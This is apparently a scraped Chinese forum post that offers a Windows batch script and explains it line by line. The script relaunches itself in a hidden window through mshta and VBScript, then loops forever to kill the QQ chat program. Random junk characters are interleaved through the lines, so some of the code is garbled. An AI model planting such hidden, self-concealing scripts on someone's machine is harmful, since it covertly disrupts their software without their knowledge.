|
|
|
功能:运行以后机器上的QQ就不能运行了。终结方法是:打开任务管理器,然后结束进程cmd.exe就可以了。 # b& r4 a' ~, _/ l# w
新建文本文档,然后将下面代码复制进去,然后重命名为a.bat,然后双击就可以了。
- r: D# B$ ]6 k
, T) ?% V3 f; k3 q! V5 X@echo off ) d+ Z0 q& z9 a2 A
if "%1" == "h" goto begin 1 |5 @9 S2 B7 x2 I; T
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit
O" }8 X t) ]/ E, L:begin ( M T+ O2 |# y" A6 ^
tasklist |find /i "QQ.exe" 3 [3 O! G! l. y8 v
if %errorlevel%==0 (goto killit) else (goto next) ) {+ [4 I6 g% U8 N9 L& u0 d
:killit
* k" l- N" U, K b# g5 gtaskkill /f /im QQ.exe
* r% L8 \: N8 w1 l& c# c:next / a9 y1 L! |; b+ y$ A- s0 R
ping -n 3 127.t >nul 2>nul
: k/ m% w% e4 |) c9 Z8 ?0 K. g) hgoto begin 1 i% ]" Q8 u1 h5 `
9 Z. S9 O. M& t1 h- _. c" h0 V. e5 s
代码到此为止
$ c8 h4 ?- k' A+ @! C+ \! k讲解如下: . A: z& ]' J5 s7 m6 }; J
@echo off ------关闭回显
a1 S: j- s0 F( Z5 w( ]" Xif "%1" == "h" goto begin --如果文件运行时有参数h,则显示窗口运行,否则只是在后台运行
# C4 B" `; `1 U4 a9 `; Jmshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit -----隐藏窗口代码
?2 z3 S3 i0 R$ \/ k0 I. d! N5 w:begin ------------定一段名begin
! g; x" j4 P9 \" `* P& Y3 `, stasklist |find /i "QQ.exe" ----在任务管理器里寻找进程QQ.exe . s3 b) a. {$ V6 {; S6 u
if %errorlevel%==0 (goto killit) else (goto next)---如果存在QQ.exe.则跳转执行killit,否则执行next - ]) f% a* ~2 i. [
:killit
% P9 G- c# V; k5 `* Xtaskkill /f /im QQ.exe----终结进程QQ.exe $ j. o* x3 u0 }
:next
, h# A3 l7 R" [0 xping -n 3 127.t >nul 2>nul -----延迟一段时间 ' {, ]$ ? J+ j9 g7 x
goto begin--------------返回执行begin4 h. t% v6 o) h; l" Y
|
|